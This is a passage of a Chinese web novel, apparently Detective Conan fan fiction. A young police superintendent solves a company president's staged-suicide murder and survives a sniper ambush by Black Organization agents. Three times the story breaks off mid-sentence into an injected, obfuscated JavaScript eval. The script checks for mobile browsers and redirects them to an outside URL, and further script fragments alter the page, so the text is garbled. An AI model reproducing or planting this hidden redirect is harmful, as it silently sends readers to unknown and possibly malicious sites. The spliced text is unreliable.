眼前的比起别墅更像是庄园,远看有三层,门前有精心修剪的花园和清澈的喷泉,美中不足的是,现在这里停满了警视厅的车,黄黑相间的隔离带将美景切割得支离破碎。 “这位女士,这边暂时不能入内——”一名年轻警员伸手阻拦,却在看到花梨出示的证件后愣住了。 等他回过神,花梨已穿过庭院。他的同伴凑过来调侃:“怎么,看到漂亮女警官就呆住了?要我说,还是比不上咱们搜查一科的佐藤警官,我喜欢短发!” “不、不是……”年轻警员结结巴巴,“她、她是警视!好年轻!” “什么?!” 花梨自然是没有听到他们的对话,她在走到差不多入门地方的时候,迎头撞上了正在往外走的一行人。 为首的胖胖警官看着花梨有点惊讶:“你是?” 花梨拿出了证件递给他:“目暮警官,我是接手这次案件的渡边花梨。” 目暮警官愣了一下,打开粗略的看了一眼:“初次见面,我是搜查一科的目暮。” “目暮警官?”他边上的几个年轻的警官好像有点惊讶,没想到这次的案件居然还有其他人部门插手。 目暮警官朝着他们轻轻的摇了摇头,示意先别说话。 花梨打量着这几个人,笑道:“目暮警官,我才刚收到通知,还要麻烦你把具体的情况跟我说一下了。阳太,去看一下案发现场。” 丸目阳太愣住了:“诶?我吗?” “不然呢?”花梨挑眉,新手不这个时候锻炼,还要什么时候? 8. 第八章 “哇啊——” 丸目阳太趴在洗手池边,剧烈地干呕着,脸色惨白得像纸。 几名搜查一科的警官围在一旁,神色各异。千叶和伸递了瓶水过去,高木涉轻拍他的背,佐藤美和子则抱着手臂站在稍远处,眼神中带着审视。 “没事吧?第一次看到尸体是这样的。” “我还以为你小子是什么来头呢,原来是个连尸体都没见过的。” “少说点吧,你第一次看尸体也好不到哪去。” “我才没有!” “不是,他都这样了,为什么要把案子交给他们啊!那个什么渡边警官看上去也是新人啊。” 丸目阳太撑着水池边缘,勉强直起身,声音还带着虚弱的颤音:“那是渡边警视!我是新人,渡边小姐可不是。” 几个搜查一科的警官你看看我我看看你,都愣住了。 “警视?这么年轻?” 那位一起过来的渡边小姐,虽然没有介绍年纪,但是看上去绝对不超过三十岁吧? 另一边,花梨正在和目暮警官交流案件,透过落地窗,可以看到鉴识课人员正在花园中仔细搜查,黄色警戒线在风中微微颤动。她来的实在是太快了,目暮都没有反应过来。 主卧的现场勘查已结束,但这栋别墅实在太大,其他区域的调查仍在继续。 “也就是说,从目前的线索来看,目暮警官也倾向于是总会屋吗?”因为现在只有两个人,所以花梨也就直言不讳了。 目暮警官叹了口气,手指无意识地压了压帽子:“他们真的是越来越嚣张了,我们之前也遇到过因为总会屋的胁迫而走投无路自杀的人,每次调查就算是拿到证据,也都会被他们逃脱,被害人的亲属也会因为畏惧而中途放弃,可这次是AHL……” AHL背后是日本数一数二的游戏公司,对于市场的影响太大了。他虽然只是搜查一科的人,但并非对这种事情一窍不通。上层的动荡影响的是下面的普通人,他们平时接到的因为公司倒闭负债累累跳楼的也不在少数。 “对总会屋而言,只是目标大小的问题。”花梨打断他,走到窗边,“但根据监控记录,我认为事情没那么简单。” “你的意思是?” “几年之前,总会屋可能还有暴力行事的习惯,他们跟当地的地头蛇合作,更加肆无忌惮,但是这几年应该已经没有□□势力明目张胆的帮他们做这种事情了。” “可——”目暮迟疑了一下。 “我知道,”花梨打断了他,“从监控记录来看,中村的死亡时间大概是昨天晚上九点到十一点之间,这个时间段来过他家的只有情妇、公司下属、和总会屋的两个人,其中后面两个人全程遮挡了面容,只能从中村的往来记录里面找到蛛丝马迹。” 目暮接道:“是的,我们至今还无法确定那两个人的身份。” “帮总会屋跑腿的人,恐怕也不是随便能查到的。”花梨笑了,“可中村手机和电脑里的所有记录都被毁掉了。” “应该是总会屋不想让我们查到往来证据。”目暮理所应当的认为。 这也很正常,虽然是游走在法律的边缘,但是总会屋的很多行动其实已经是违法了,只不过对方有钱有势,要么能让证人消失,要么就是高价聘请知名律师打赢官司。 但花梨却觉得哪里有问题,如果只是想要杀人灭口的话,为什么还要伪装成自杀呢——横滨最多的就是让人消失的连尸体都找不到的方式,找不到尸体,自然也无从调查。 但是像现在这样,伪装成自杀,一旦调查起死者的自杀动机,就会查到总会屋上面。 不对劲,她一定还忽略了什么重要的事情。 “说起来,找到那两个昨天晚上出现在这里的相关人员了吗?” 目暮警官点了点头:“找到了,研究员久保内涼,女招待冬野恵美,前者正在公司加班,已经到了,后者因为白天在睡觉,我们的人敲了很久的门才开,所以会晚到一点。” “哦?”花梨回过头,看着目暮警官,“我好像没有看到这位久保先生?” 目暮警官招了招手:“因为全屋取证的缘故,他被安放在侧面的独栋里了。” “先去见见这位久保先生吧。” 侧栋的会客室里,久保内涼坐在沙发边缘,身体前倾,双手紧张地交握。他完全符合人们对程序员的刻板印象——皱巴巴的格子衬衫、油腻的头发、厚重的黑框眼镜,以及浓重的黑眼圈。 “昨天社长下班时忘带了一份重要文件,让我下班后送过来。”他语速很快,声音有些发干,“但项目会开得很晚,社长等不及,让我先放下工作送来,再回去加班。” 花梨静静听着,目光在他脸上逡巡。 另一边的久保还在继续:“我打了车把社长要的u盘送过来,然后又回到了公司加班,但回去不是打车回去的,因为这个车费社长不报销,我想着省一点,这里距离公司也不远,而且我还想在外面吃个晚饭,就走回去了。所以到达公司的时间差不多是晚上十点半,然后加班到了三点左右,在工位休息了四个小时,然后起来继续上班。” 房间陷入短暂的寂静。目暮轻咳一声,花梨却只是盯着久保。 “哦,对了。”久保像是突然想起什么,从口袋里摸出一张皱巴巴的小票,“这是便利店的小票。” 花梨戴上手套接了过来,便利店上显示的结账时间是昨天晚上九点五十。 而 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17211131|197395||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 那两个藏头露尾到中村家里、现在还没查出身份的人是九点半左右到达的。 时间线上,久保似乎完全排除了嫌疑。 这个时候,那位冬野慧美也被带过来来,她过来的时候还有点精神恍惚,理论上来说,上午正是她睡觉的时候。她穿着皱巴巴的吊带裙,过长的美甲上镶着水钻,头发凌乱地披在肩上。 “警官,我保证我没违法。”她打着哈欠,语气却游刃有余,有一种经常跟警方打交道的熟稔的感觉,“总不能是中村先生家又丢东西了吧?上次他非说少了个古董花瓶,结果是自己放保险柜忘了……” “冬野小姐。”花梨打断她,嘴角带着礼貌的弧度,说话却一点都不客气:“我们请你来,是因为中村先生昨晚去世了。” 惠美脸上的慵懒瞬间冻结,她瞪大眼睛,手指下意识地捂住嘴:“什、什么?不可能!我昨晚走的时候他还好好的!” “这件事跟我绝对没关系啊!他身体一堆毛病,就算是猝死也找不到我的头上吧!” “冬野小姐,你先别激动,我没有说过这件事跟你有关。”目暮警官连忙安抚她,“只是你昨天晚上也出现在这里,所以才请你过来提供证词。事实上,在你之后,还有两拨人也来找过中村先生。” 冬野惠美顿了顿,泄了一口气一般:“我就说嘛,我就是晚上跟他应酬的时候,因为他多喝了两杯酒,才不得已跟着他一起回来的。” “时间记不清了,大概……八九点?他醉醺醺的,很难伺候。” “具体时间呢?”花梨追问。 “我回家的时候大概看了一下时间似乎是十点左右,从我住的地方到这里要一个小时,再加上在这里耽搁的时间,我们差不多是八点半回来的。”冬野惠美摆弄着美甲,“走的时候他还送我到门口,说下次再约。” 似乎是急于摆脱自己的嫌疑,冬野惠美忙不迭的提供着自己知道的消息:“不过今天有一件事很奇怪,平时这种应酬的局,一般要到凌晨中村先生才会离开,但是今天却在八点多的时候就迫不及待的走了,好像是晚上还有约。” 花梨心想,这何止是还有约,这还约了不止一个人。都忙成这样了晚上的酒局是非去不可吗? 不过从冬野惠美的证词可以得知,总会屋的人早就约好了今天和中村见面,只不过他在见面之前的那个酒局让他把重要的u盘忘在了公司,这才让久保内凉出现在了这里。 从这个逻辑上看,嫌疑最大的就是那两个身份不明的人。 但真的是这样吗? 花梨的目光再次落回久保内凉身上。他依旧低着头,手指无意识地搓着裤缝。 ——那张便利店小票,未免出现得太恰到好处了。 9. 第九章 听完两个人的不在场证明之后,花梨回到浴室的案发现场。丸目阳太已经恢复了些,但脸色依旧苍白。 “还好吗?”花梨问道,目光已落在了作为凶器的浴缸上。 “没、没事了,渡边小姐。” “多看几次就习惯了。”她戴上新手套,蹲在浴缸边缘,“被水泡过的尸体的确容易引起不适。不过比起□□的手段,这还算温和的。” 丸目阳太喉结滚动,没接话。浮肿发白的尸体比在警校课本上看到的图片更具冲击力。即便如此,他还是完成了初步勘查:“从表面看,似乎没什么异常。中村阳仁体型偏胖,死后尸体状态受脂肪影响较大……” 花梨的指尖轻轻抚过浴缸瓷釉表面。水流冲刷带走了大部分痕迹,但她还是在瓷釉表面发现了几处微小的异常——几道浅得几乎看不见的平行划痕,位置很奇怪,不像正常使用会留下的。 “这已经很有问题了,因为他的体型的缘故——”花梨比划了一下眼前的浴缸的大小,绝大多数日本人都是重度的泡澡爱好者,哪怕是一居室也会有人努力的在浴室里塞下一个浴缸,何况中村这种阶层。眼前这个浴缸显然是特制加大的,宽敞得近乎奢侈。 花梨问道:“如果是你和我的话,想要把一个昏迷的人扔到这个浴缸里,要怎么做?” 丸目阳太摆出思索的姿势,端详着这个浴缸,随后走到了浴缸的短边缘,做出抬举的动作:“大概是……我抬头部,渡边小姐抬脚?这样搬进来?”他比划着,露出为难的表情,“但中村先生的体重……” 丸目阳太顿住了 刚刚那几道划痕他也见到了,中村阳仁的尸体上穿的是家居服,并没有尖锐的配饰,唯一坚硬的东西就是手上的名牌手表。 丸目阳太恍然大悟:“原来如此,我明白了!要这样把他从底部架着手臂拖上来,才会在浴缸内侧留下平行的划痕!” 但如果是两个人的话,根本不需要这么做,中村阳仁虽然比较重,但是两个成年男子也能把他搬起来。 丸目阳太皱起了眉:“只用这个作为判断依据的话,会不会不太够?”这说到底只是推理,根本不是明确的证据。 中村阳仁是否服用过致人昏迷的药物,还要等到尸检结果出来。 花梨站起身来:“这件事最好在今天就结束,。” 一定还有决定性的证据她没有找到。 花梨打开手机,查看着附近的地图,输入AHL研究所查看路线,切换了步行方式。虽然久保自述是走回去的,也有在便利店消费记录,但是他从这里离开到回到办公室的时间似乎有点长了。 ——不过他中途吃了顿饭,这一点也解释得通。 丸目阳太满脸的愁苦:“要是能立刻找到那两个人就好了。几乎是久保内凉刚离开,他们就到了,时间太接近了,再加上热水浸泡,根本没有办法确认中村阳仁的真正死亡时间。” 他在两个选项中纠结,一方面觉得花梨说的有道理,如果真的是那两个失踪的壮汉的话,根本没有必要伪装成自杀,因为警方到现在都找不到他们的下落,但久保内凉又有充分的不在场证明。 花梨突然想到一个问题,开口反问:“等等,之前说中村阳仁的死亡时间是?” “诶?”丸目阳太看了一眼手里的记录本,“粗略判断是在九点到十点之间,那两个神秘人是在十点离开的。” 花梨了然,勾了勾嘴角:“但是无法保证他们在离开的时候中村阳仁已经彻底死亡了,对吧。” 丸目阳太没有反驳,把昏迷的人割腕,动手的时间和受害者死亡的时间确实会有一段间隔。 但紧接着,花梨又说道:“就像也没有人能保证,那两个人在的时候中村阳仁确实是活着的。” 丸目阳太瞪大了眼睛:“可是,可是他们当时在现场的话——” 等等,不对,他突然想到了一个问题,那两个人不是普通的人,如果普通人见到尸体是会报警的,但如果他们一进来看到的就是已经‘死亡’的中村阳仁,而且是疑似被他们逼死的中村阳仁,会有什么反应呢? ——会转头就走。 他们这种人没有报警的义务,看到了尸体更是只会抱怨对方害的他们白跑一趟。 如果在这个时候开始中村阳仁就已经被泡在了浴缸里,那两个人也不会特意的去确认他的死亡,只会想着干净清除他们来过的痕迹然后跑掉。 这样一来,就算是三组嫌疑人是依次进入这个别墅的,第二个进入的久保内凉也可以通过割脉的深浅控制流血的时间,给自己制造完美的不在场证明。 想明白这件事之后,就只剩下最后一个问题了——证据。 不管怎么怎么怀疑久保内凉,都需要确切的证据才能让他认罪。 想要证明也很简单。 花梨叫来了鉴识科的人员,吩咐了几句,然后就带着丸目阳太离开了案发现场。 调查中村阳仁和久保内凉的矛盾比想象中的简单,因为中村阳仁根本就是在大摇大摆的压迫久保内凉。 软件工程出身的久保内凉是个并不怎么懂得人际交往的书呆子,在刚入职的时候就得罪了中村阳仁,可他偏偏还确实是有能力,在AHL的这些年产出了不错的成果,但是这些成果的第一作者都是中村阳仁的名字。 入职十年,名牌大学出身的久保内凉还依旧是最普通的员工,连后进入的新人都比他更快的升职,更重要的是,常年的对着电脑工作,给他的身体造成了大量的伤害,除此之外,因为经常彻夜加班,没有人能忍受这样的伴侣,他的妻子在三年前就跟他离婚了。 后续也确实是在久保内 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17211132|197395||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 凉的医保记录里找到了安眠药的单子,但他几乎是从五六年前开始就靠着这个东西入眠了,医院开的单子不能作为他使用了药物让中村阳仁陷入昏迷的证据。 既然是要等尸检的结果,花梨也无意去抢这份工作,让目暮警官按照正常的流程先收押了久保内凉。接下来就等尸检的结果了。 因为凶手换了人,花梨反而不用像神城交代的那样,费心平衡这件事的影响。 真正受波及的AHL公司,恐怕比起被总会屋找麻烦,也更愿意接受这是一场私人恩怨引发的悲剧——至少,账面上干净些。 不过,从AHL内部流出的资料里,花梨注意到一些别的东西。这个死去的中村,除了抢夺下属的研发成果,似乎还做了不少见不得光的事。 深夜,办公室只剩她桌前一盏灯亮着。 花梨一页页翻过中村的私人账目与内部报告,眉心越皱越紧。 这家伙……可真是不干人事。 资料显示,他至少贪污了AHL上百亿日元的研发经费,并在公司内系统性地打压有才华的新人,威逼利诱、夺取他们的成果向上邀功。久保不是第一个受害者,但他让自己成了最后一个。 这些混乱的资金流向自然不会原封不动交还给AHL——到了公安手里,总得先过一遍筛子。 重要的是,其中一部分款项能够追查到总会屋身上。杀人案可以交给搜查一科结案,但与总会屋相关的部分,必须牢牢握在他们自己手里。 ——是的,又到了无偿加班的时候。 这类工作理论上不归花梨管,但从神城将案子交给她的那一刻起,她就知道逃不掉了。 庞大的数据被层层剥离、摊开在她面前。她的任务,是从这片数字迷宫中找出背后那只真正的手。 不对劲。 花梨的笔尖停在某一栏数字上,又往回翻了几页。 就算一直被总会屋勒索,中村从AHL挪用的资金总额也远远超出应付的数目——这笔账,对不上。 凌晨四点,她还在和这份资料死磕。眼皮发沉,咖啡早已见底。伸出去的手在感受到杯子的重量之后又收了回来,熟练的打开抽屉拿出一盒新的咖啡浓缩液。 就在这时,内侧口袋里的手机突然震动起来。 花梨起初没在意,几秒后才猛然惊醒——她的手机放在了桌子上,口袋里的是备用机,虽然备用机里的联系人寥寥无几,每一个都是她绝不能忽略的。 她迅速取出手机,解锁屏幕。 一封新邮件。 发件人:降谷零。 是那个潜伏在黑衣组织的卧底。这个时候联系她……难道组织最近有什么动向? 花梨点开邮件,目光扫过内容,微微一怔。 消息里的信息,竟与眼前这桩案子有关。 10. 第十章 能让降谷零在这个时候给她传消息,自然是非常重要的事情——黑衣组织计划控制AHL公司的新一任社长,保证他和组织的合作。 不是兄弟,黑衣组织和AHL研究所有合作这种重要的事情能不能早点告诉她? 人都死了,案子都要结了,现在才告诉她这么重要的消息? AHL是什么很小的研究所吗!这可是日本第一的游戏公司的幕后! 真是疯了! 而且具体情况一概未提,只说了组织之后会接触新任社长。 花梨揉了揉眉心,叹了口气——这根本是事后通知,哪算什么行动计划。也不知道黑衣组织会用什么样的方式接触那个新的社长,她自己都不知道新社长是谁呢。 工作日早晨八点,赶在局势变动前,花梨来到了AHL研究所。 公司前台友善的提醒:“这位小姐,公司的接待还没有到时间,如果您有预约的话请稍等片刻。” 花梨叹了口气,在口袋里掏了半天,没拿出预约,反而掏出了带着警徽的证件。前台的接待人员看到证件后呼吸乱了一瞬,随后更加恭敬的请她先稍等片刻, 短短一天的时间,还不够让AHL选出新的社长,正是各方股东运作的时候。但是很显然他们背后的大公司早有人选,已经安排了之前的副社长暂时管理,这才让整个AHL正常运转。 花梨一直等到了九点,才等到这位同样心宽体胖的副社长过来。 “不好意思,不好意思,渡边警视,你也知道,中村社长走的太突然,研究所里好多事情都需要交代。” 花梨笑道,目光从他没来得及打发蜡的头发上移开:“我知道,副社长这是在收拾中村社长留下的烂摊子,辛苦了。” “其实我这一次来也不是什么特别要紧的事情,虽然现在凶手已经确定了,但是勒索中村社长的人还没有找到,我想调查一下中村社长办公的地方,看看有没有线索。” 副社长的脸色有点发青:“您请,您请。” 中村阳仁的办公室延续了他一贯的浮夸风格。花梨在大量奢侈装饰中,勉强找到些许办公痕迹。 所有带字的纸张,都被她逐一装入证物袋。 “等,等一下渡边警视,这个,这个是还没有公布的合同、还有这个,这个专利还在申请中——” 花梨低头看了一眼手中的u盘:“副社长放心吧,我让局里的同事检查之后,就会送回来。” 没有,没有,还是没有。 中村阳仁的办公室已经被她翻了个底朝天,却依旧找不到跟黑衣组织联络过的痕迹。 怎么回事? 如果不是因为中村阳仁跟黑衣组织联系,降谷零为什么会给出这样的消息? 社长突然死亡,黑衣组织应该也短暂的失去了对AHL的控制,为什么尽快的把控制权拿回来,安室透才会受到要配合其他的成员接触新一任的社长的消息。 可惜,中村阳仁死得太干净,别墅里没有留下一点相关的文件,找不到他和黑衣组织有联系的证据。 就在花梨准备带着搜集的文件资料回警备企划科的时候,原本紧闭的办公室的门突然被敲响了。 “渡边警视。” 花梨微微皱眉,是副社长,她明明嘱咐过不要打扰她的。 但她还是开了门。门外不止副社长一人,他身旁站着一位气质精干的中年男人。笔挺的西装三件套勾勒出保持得当的身形,鬓角白发被发胶整齐固定,眼神锐利而沉稳。 “这位是?” 副社长连忙介绍道:“这是总部那边调派过来的新一任社长,岩田大辉先生,听说渡边警视过来,特意来打个招呼。” “初次见面,渡边警视。” 花梨打量着对方,唇角扬起职业化的弧度,伸手握了上去:“请多指教,岩田社长。” “岩田社长刚从满天堂那边赶过来?是有什么急事吗?” 岩田社长一顿,旋即露出一个体面的微笑:“渡边警视,不如来我会客室喝一杯茶?” 花梨回头看了一眼这间办公室,显然,发生了社长死亡这种大事,原本的社长办公室是不准备继续用下去了,而事情才发生了一天,这位新社长就已经有了自己的房间——好快的速度啊。 这位新社长看上去和中村阳仁是完全不同的类型,一进入会客室,花梨的目光就落在了上面打开的笔记本上。 岩田大辉倒了两杯茶,一杯放在了花梨的手边:“我也不绕弯子了——事实上,在中村出事前,董事会就已经在考虑换掉他。这些年来他做的事,并非天衣无缝。” 花梨露出了然的神情,怪不得,原来是早就找好接班人,就等着拉中村阳仁下马呢,可惜,还没来得及动手,人先死了。 “不过这一次找渡边警视,是另有其事。”岩田大辉从一旁的公文包里拿出一个密封袋,递给了渡边花梨。 花梨狐疑着接过,看到露在外面的封面的瞬间,面色骤变。 “这是——” 岩田安然坐着,神色平静:“或许该称之为恐吓信?只是我也没想到,刚坐上这个位置,就收到这种东西。” 虽说如此,他的脸上一点都没有被威胁到人身安全的紧迫感。 花梨心念一动,戴上手套打开了证物袋,这是一封很简短的信,但是上面却说明了岩田的一些私密情况,包括他的妻女,随后附上了见面的请求。 “你觉得这是勒索吗?”花梨扬起纸张,她对AHL的事情门清,“那两个总会屋的人还没有找到,中村刚死,他们就这么着急的找下一个目标了?” 岩田摇了摇头:“我不清楚,不过,调查清楚这件事,不正是渡边警视你们的职责吗?” 花梨微微挑眉,旋即露出一个微笑:“那是当然,这件事就交给我吧。” 虽然嘴上这么说着,但调查这件事并不是很容易,花梨把信带回了办公室交给了鉴识人员,同时安排阳太去调查了这封信出现的时间。 结果也是不出所料,那段时间的监控刚好被破坏,完全没有录下放信的人的脸,上面的字体也是打印体,整个信上没有指纹,查不出来源。 不过岩田十分配合花梨的行动,提供了自己主宅的所有私密监控,其中一个监控幸免于难,拍到了一片黑色的衣角。 花梨已经坐在电脑前,对着那片衣角的截图发了很久的呆了——鞋子对照地面的话可以看到应该是欧码的43-44,再结合小腿的曲折角度和膝盖位置,可以判断这个人的高度大概在185-190. 这种体型在日本并不常见。 她给岩田发了消息,让他先假意答应合 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17211133|197395||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 作。 一周后,岩田传来了对方的会面安排:地点定在偏远仓库,时间在十二点之后。 夜色如墨,仓库区的灯光稀疏黯淡。花梨坐在监控车内,屏幕映亮她半张沉静的脸。耳机里传来“岩田”平稳的呼吸声——他身上藏着监听设备,已按约定独自走进仓库。 风吹过生锈的铁皮,发出呜咽般的回响。 她盯着另一个屏幕上实时传输的仓库内部画面,指尖无意识地轻敲膝盖。 还有三分钟就到约定的时间了,周围的几个小组也没有收到有人靠近的消息,怎么回事? “渡边小姐,怎么办,仓库里没有人。”耳机里传来丸目阳太的声音。 是的,来这里的根本不是岩田,而是由丸目阳太假扮的。 花梨有些焦虑的咬着嘴唇:“再等等。” 时间一分一秒的过去,周围一片寂静。看来今天是注定失败而归了。 花梨闭上了眼睛,手放在了方向盘上:“准备撤退吧……” 她的话还没说完,一颗子弹穿透空气,精准的击中了她身侧的车窗,擦着她的头顶而过。 “砰!” 是狙击! 花梨弓起身子,启动油门,但是下一秒,第二颗子弹到了。 她迫不得已的猛打方向盘,车胎在地上划过,发出尖锐刺耳的声音,好在这一个紧急偏移让这第二颗子弹打在了车前盖上。 “该死的!”花梨瞄了一眼那颗子弹的位置,刚刚如果她不躲开,那颗子弹会打穿她的轮胎,下一步就是等她不得不弃车而出的时候,在她打开车门的瞬间击穿她的脑袋。 “嗡——” 油门被花梨踩死,车以漂移的姿态滑进了那个仓库。 “阳太!快上车!” 丸目阳太一个冲刺从打开的车门冲上了后座,还没等把车门关上,花梨已经又一次冲刺,从仓库的大门冲了出去。 几乎是她冲出去的瞬间,身后的仓库‘轰’的一声炸开。 丸目阳太看向后方,手脚的颤抖一直没有停:“如果我刚刚没有上来……” 花梨头也不回的说道:“那你就被炸死了!” 丸目阳太吓得瘫倒在后座上。 花梨这个时候没有时间去关照他的心情,他们今天的行动不知道为何走漏了风声,以至于他们遭到了对方的埋伏。 脚下的油门被直接踩到了底,小轿车如同离弦的箭一般冲了出去。 “所有人撤退!”花梨在耳机里喊到。 “砰!” “砰!” 远处的子弹还在追着花梨的车,。 “该死的,排除一下狙击手的位置!” 几个埋伏在周围的人纷纷报出了自己的位置,花梨飞快的做着排除法,然后从几颗子弹的位置锁定了狙击手的方向。 “阳太,你来开车!”花梨把驾驶的位置让了出来,自己跑到了后座的位置。 “渡边小姐?”丸目阳太开车的手都是颤抖的。 “没事,不用担心。” 花梨从座位的下面拿出来一个长条的盒子,对上丸目阳太在后视镜中震惊的目光,从里面掏出来一柄狙击枪。 “这东西是从哪里来的啊!”丸目阳太尖叫着。 “这不重要!”花梨已经开始组装了。 11. 第十一章 一轮弯月被乌云遮住,黑暗如同一团浓墨,浸染着仓库与集装箱区域。能见度越来越低,花梨稳住呼吸,狙击镜中的十字线缓缓移动,扫过锈蚀的铁皮、幽深的小路,最终定格在远处一架室外钢铁楼梯上。 一个高挑的黑色身影正从容步下。 在光线降到最低的瞬间——就是现在! 指尖扣下扳机的触感清晰传来,子弹出膛的尖啸撕裂凝滞的空气。 “砰!” “啧!被他躲开了。” 那个黑色的身影飞快的冲下楼梯,融入了黑夜中。 花梨不甘地咂舌,猛地收起狙击枪,眼底燃起被挑衅的火焰。她转头对驾驶座上的丸目阳太快速下令,语调不容置疑:“快,追上去!” 丸目阳太看着后视镜中开始远离的队友车辆,脸色发白:“可是渡边小姐,其他人都已经在按计划撤退了!” “没关系,对方人数也不多!”在短暂的愤怒之后,花梨反应过来,对方应该没有分配太多的人手在这里,只是想要给他们一个警告。 说到底,他们才是警察吧!这群人凭什么这么嚣张啊! 现在的问题是,狙击手暴露之后,并没有其他人的踪迹,所以花梨才敢推断,对方应该不超过三个人。 丸目阳太的车技不及花梨,当他们的车子颠簸着驶近那片由仓库与集装箱构成的钢铁迷宫时,只来得及瞥见一个模糊的黑影,如鬼魅般闪入两座高大仓库间狭窄的缝隙。 眼前区域巷道错综复杂,仅容人侧身通过,车辆根本无法驶入。对方显然早算准了地形。 “你开车,从外围主干道绕过去,堵另一头!”花梨语速飞快,话音未落已拎起随身武器,推开车门,如离弦之箭冲向那道缝隙。 因为很久没有人,地面上积累了一层厚厚的土,留下了一串鞋印,从大小上看,这跟那天监控里出现的鞋差不多能对上。 花梨不再迟疑,追着脚印一路前行。 密集的仓库与集装箱此起彼伏,投下错综复杂的幽暗长廊。花梨刹住脚步,面前地上的脚印突兀地消失了。 空气凝滞,唯有远处丸目阳太引擎的低鸣衬得此处死寂更甚。 不对! 念头刚闪,头顶风声已至! 一道黑影自堆叠货箱顶端凌空扑下,挟着凌厉的杀意。花梨瞳孔骤缩,双臂在千钧一发间交叉格挡—— 砰! 沉重撞击的闷响炸开在狭窄空间。仿佛被铁锤砸中,花梨闷哼一声,整个人不受控制地向后跌去,背脊砸在粗粝墙面。碎石与尘土簌簌落下。 她甚至来不及感受疼痛,求生本能已驱使身体向侧方翻滚。眼角余光捕捉到袭击者落地的姿态——轻盈如猎豹,悄无声息,唯有黑色衣摆在半空划出冷冽的弧。一抹长发从那人压低的针织帽下逸出,在污浊的空气里微扬。 长发的狙击手?不是,现在的□□都搞这么艺术? “咚——!” 凌厉腿风已扫向她的头部。花梨几乎对折般后仰,那一脚擦着她鼻尖掠过,重重踹在身后铁皮箱上,发出令人牙酸的巨响。 通狭窄巷道限制了枪械使用,两个人不约而同的选择了近身格斗。花梨趁对方收势间隙弹身而起,右手已摸向腿侧配枪。开玩笑,谁跟罪犯有默契啊,七步以内枪又准又快! 可黑影仿佛预判了她的动作,一记手刀精准斩向她手腕!手刀的风声提醒着她要是硬接,恐怕手腕会直接断掉。 花梨被迫缩手,旋身以左肘反击,却撞入对方早已等候的格挡中。手臂相抵的刹那,她感受到布料下紧绷如钢铁的肌肉,完全无法撼动,反而花梨被震退了两步。 针织帽的阴影遮掩住了对方一部分面容,只露出线条紧绷的下颌与抿成直线的薄唇。没有言语,没有多余表情,每一次进攻都简洁致命。花梨几次试图拉开距离,却总被对方如影随形的紧逼封死——体型差距太大了,虽然花梨有一米七五,已经远超日本女性的平均身高,但是眼前这个男人起码有一米九! 一记虚晃后,花梨终于抓住稍纵即逝的破绽,低身扫腿攻其下盘。对方却似早有预料,竟借势跃起,足尖在墙面一点,凌空变换重心,屈膝撞向她肩头!花梨急退仍被余力带到,肩胛传来尖锐刺痛。而那人落地时已如鬼魅般调整好姿态,始终将自己置于背光处,面容彻底隐匿于黑暗。 昏光艰难穿透堆积的集装箱缝隙,在他周身镀上一层模糊的光边。 远处传来丸目阳太焦急的呼喊与逼近的引擎声。 能行! 花梨再一次握紧了拳头。 “吱——” 耳边突然传来橡胶轮胎和地面激烈摩擦的刺耳的声音,随后就是一个巨大的撞击声。连带着车灯打过来的光也变得十分混乱。 花梨面色骤变。 “渡边小姐!” “阳太躲开!” 黑衣男人快速的退出了通道,直接拉开车门坐上了刚刚好到达的车上。 花梨来不及多想,直接冲了出去,一束光正对着她的脸打过来,已经适应黑夜的花梨被晃得不得已闭上了眼睛,再睁开的时候,只能看到一辆白色轿车扬长穿去的尾灯。 四下看去,他们开过来的车正以一种车头扎进集装箱的姿势怼在那里。 “阳太,你自己能爬出来吧??” “我没问题,渡边小姐。” 花梨捡起刚刚掉落的狙击枪,顺着集装箱的结果攀了上去,单膝跪地,瞄准了那辆白色的车。 突兀的人影在集装箱上,安室透自然不会错过。 他调笑道:“你怎么没解决掉,他看上去好像并不打算放过我们。” 诸星大冷笑:“你刚刚不也没把那个司机解决掉,外围应该还有一群条子,动手容易把他们也引过来,说到底今天只是警告那个社长,没必要跟警方明牌吧?” 安室透转动方向盘,轻巧的躲过奔着车胎而来的子弹:“反正我们打的是总会屋的旗号。” “说到底还要怪那个中村死的太突然了。” 最后直到尾灯都看不到了,花梨才不甘心的从上面跳下来,这个时候丸目阳太已经把车弄了出来,车头和车尾都有一块深深的凹陷。 “还能开吧?”花梨上前一步询问。 丸目阳太点了点头:“还能用,但是这样追上去太危险了。” 花梨打开车门坐在了驾驶座上,示意他上车:“那也不能就这么放他们离开…。” “帮我联系交通科的人,我要周围几条主干道的监控。” 虽然这么说着,但花梨很清楚,这一次的机会是错过了,她以为自己是螳螂捕蝉,实际上黄雀在后。 